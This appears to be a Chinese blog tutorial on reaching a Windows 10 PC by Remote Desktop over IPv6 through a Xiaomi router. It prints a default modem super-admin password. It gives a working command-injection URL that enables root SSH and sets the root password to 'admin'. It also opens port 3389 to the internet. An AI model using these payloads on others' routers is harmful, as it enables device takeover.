Win10 IPv6 远程桌面连接(小米路由器) |
您所在的位置:网站首页 › 远程设置路由怎么设置 › Win10 IPv6 远程桌面连接(小米路由器) |
前排广告:2021金三银四,字节跳动招人季,平均反馈时间仅1天!选择覆盖达6大城市!——2021年字节跳动飞书团队内推活动正式开启,岗位列表见:https://job.toutiao.com/s/eNtDcGu。除了这个投递连接外,我更推荐你使用邮件与我沟通,这种情况我可以直接将建立递给对应的leader,更高效~邮箱:timczm#foxmail.com,注意把#换成@。 背景由于家里是移动网,且懒得向运营商要公网IPv4,所以想着用IPv6试一下。 家里的环境是这样的: 宽带用的是移动的,没有公网IPv4,但经过测试发现IPv6是公网的上网通过光猫拨号,而不是通过路由器路由器是小米AC2100 光猫更改为桥接模式路由器必须要通过PPPoE拨号,如果是光猫拨号,那么要找对应的维护人员辅助你把光猫改成桥接模式。通过PPPoE拨号路由器就能够拿到公网的IPv6网段,也就可以给底下的其他服务分配公网IPv6了。而如果是光猫拨号,那么只有路由器可以拿到公网的IP。其他的设备就是路由器给的内网IP了。 现在,你需要进入光猫后台管理页面:192.168.1.1,如果打不开,那么要连到光猫的无线上或者通过有线连接。 后台管理页面的账号是:CMCCAdmin,密码是:aDm8H%MdA。通过这个账号进去才是超级管理员。 像上面这样配置之后,光猫就是桥接模式了。(不过我实际操作的时候,是不行的,需要在这个页面的时间管理栏里面输入对应的密码才能够开启。如果不行的话,可以问一下对应的维修人员。) 有一点要注意的是,绑定选线里面我选了LAN1,是因为我路由器是和光猫的LAN1口连在一起的。 路由器通过PPPoE拨号接下来需要在路由器上通过PPPoE拨号。路由器的后台管理页面是192.168.31.1,输入密码后就可以进入。在常用设置-上网设置里面选择PPPoE拨号,输入账号密码即可。如果是通过手机号办的宽带,账号就是手机号,密码是手机号后六位。 至此,你应该可以正常上网了。打开电脑的CMD,输入ipconfig,看到下面那一长串的IPv6就对了,要注意不能是fe80开头的,否则还是内网的IPv6地址 这个时候你可以进入http://test-ipv6.com/index.html.zh_CN来检测你的IPv6是不是真的公网IPv6。检测报告大概是下面这个样子,里面的红框部分和你本地看到的是一样的就是没有问题的,说明是公网IPv6。 注:我这里不一样是因为对外使用了临时IPv6的地址,也就是上面红框下面一栏里面写的,这个临时IPv6的地址是会改变的,所以没有关系。 路由器开放IPv6端口由于小米的路由器对IPv6的支持不是很好,所以很多功能是被阉割的。目前,除了AX3600和AX1800两款路由器外,其他的路由器都是关闭IPv6防火墙的,也就是说,你无法在外网连接到你的IPv6设备。而且,路由器的后台管理页面不支持关闭这个防火墙,这也是比较坑的地方。 现在,唯一的解决办法是ssh到路由器上,然后手动开启特定端口。 打开路由器ssh服务那么,第一步是通过漏洞打开路由器的ssh服务。 使用管理密码登录管理页面管理页面登录后地址栏链接应为: http://192.168.31.1/cgi-bin/luci/;stok=/web/home#router PS: 和小白同学解释下,是代表你登录后自动生成的那一长串数据,每个人都不一样,用于替换下一步中的链接中部分。 一步到位漏洞注入在浏览器地址栏中输入以下链接代码,注意替换掉部分,否则无效: http://192.168.31.1/cgi-bin/luci/;stok=/api/misystem/set_config_iotdev?bssid=Xiaomi&user_id=longdike&ssid=-h%3B%20nvram%20set%20ssh_en%3D1%3B%20nvram%20commit%3B%20sed%20-i%20's%2Fchannel%3D.*%2Fchannel%3D%5C%22debug%5C%22%2Fg'%20%2Fetc%2Finit.d%2Fdropbear%3B%20%2Fetc%2Finit.d%2Fdropbear%20start%3B返回{"code":0}即代表成功,其实成不成功都会返回这个:)注意传参顺序及指令前后都要有一个分号,即%3B 如果返回401错误,原因可能是版本不正确或者值错误或者链接输入不完整等,提示404错误,说明输入地址错误,请检查固件版本或链接地址… 建议一键注入后需等待一些时间,保证路由器后台能正确处理注入信息后再重启, 重启即可开启SSH,root密码请自行根据SN计算;不想计算的或不知道怎么计算的,可以看下一步 更改管理员root密码 (可跳过)root账号不想用初始密码的执行下面的代码改密码为admin,在浏览器地址栏中输入以下链接代码,注意替换掉部分(有时stok值会发生改变,建议重新返回1.2.1步骤复制最新的stok值) http://192.168.31.1/cgi-bin/luci/;stok=/api/misystem/set_config_iotdev?bssid=Xiaomi&user_id=longdike&ssid=-h%3B%20echo%20-e%20'admin%5Cnadmin'%20%7C%20passwd%20root%3B 通过ssh连接你可以通过这个教程来了解如何开启ssh服务,本文不再赘述,如果已经开过了,那么可以忽略这一步。 现在打开CMD,输入ssh [email protected],可能会提示下面这个,如果没有就忽略。这一步输入yes即可。 The authenticity of host '192.168.31.1 (192.168.31.1)' can't be established. RSA key fingerprint is SHA256:qHze6P9W8lfNXL2+IFRWAOA5QXS/YpJZwKL5Ft7Qe1I. Are you sure you want to continue connecting (yes/no/[fingerprint])?下一步会提示[email protected]'s password:,这一步是让你输入密码,输入刚刚设置的密码admin即可进入,出现如下信息代表成功。PS:中间那一大串是Are You OK,是雷总的经典名言。 BusyBox v1.25.1 (2020-09-21 11:44:18 UTC) built-in shell (ash) ----------------------------------------------------- Welcome to XiaoQiang! ----------------------------------------------------- $$$$$$\ $$$$$$$\ $$$$$$$$\ $$\ $$\ $$$$$$\ $$\ $$\ $$ __$$\ $$ __$$\ $$ _____| $$ | $$ | $$ __$$\ $$ | $$ | $$ / $$ |$$ | $$ |$$ | $$ | $$ | $$ / $$ |$$ |$$ / $$$$$$$$ |$$$$$$$ |$$$$$\ $$ | $$ | $$ | $$ |$$$$$ / $$ __$$ |$$ __$$< $$ __| $$ | $$ | $$ | $$ |$$ $$< $$ | $$ |$$ | $$ |$$ | $$ | $$ | $$ | $$ |$$ |\$$\ $$ | $$ |$$ | $$ |$$$$$$$$\ $$$$$$$$$ | $$$$$$ |$$ | \$$\ \__| \__|\__| \__|\________| \_________/ \______/ \__| \__| root@XiaoQiang:~#至此,你已经进入了路由器的后台页面。接下来就是打开端口映射了 打开特定端口映射在刚刚的控制台页面输入如下两条命令,按回车即可执行。这一步是打开3389端口,因为默认远程连接的端口号就是3389。如果你有特殊的需求,如使用NAS,那么你可以更改里面的端口号。 ip6tables -I forwarding_rule -p tcp --dport 3389 -j ACCEPT ip6tables -I forwarding_rule -p udp --dport 3389 -j ACCEPT当然,这种方式在重启后就失效了,所以我们应该将其配置为开机自启动。 在命令号输入vi /etc/rc.local,看到如下页面 # Put your custom commands here that should be executed once # the system init finished. By default this file does nothing. exit 0 ~ - /etc/rc.local 1/7 14%这是linux的编辑页面,输入i进入编辑模式,将刚刚两段话加在exit 0的前面,结果如下: # Put your custom commands here that should be executed once # the system init finished. By default this file does nothing. ip6tables -I forwarding_rule -p tcp --dport 3389 -j ACCEPT ip6tables -I forwarding_rule -p udp --dport 3389 -j ACCEPT exit 0 ~ - /etc/rc.local 1/7 14%随后按ESC退出编辑模式,输入:wq并回车即可保存并退出。现在,你就可以使用远程连接了,Enjoy~ |
今日新闻 |
点击排行 |
|
推荐新闻 |
图片新闻 |
|
专题文章 |
CopyRight 2018-2019 实验室设备网 版权所有 win10的实时保护怎么永久关闭 |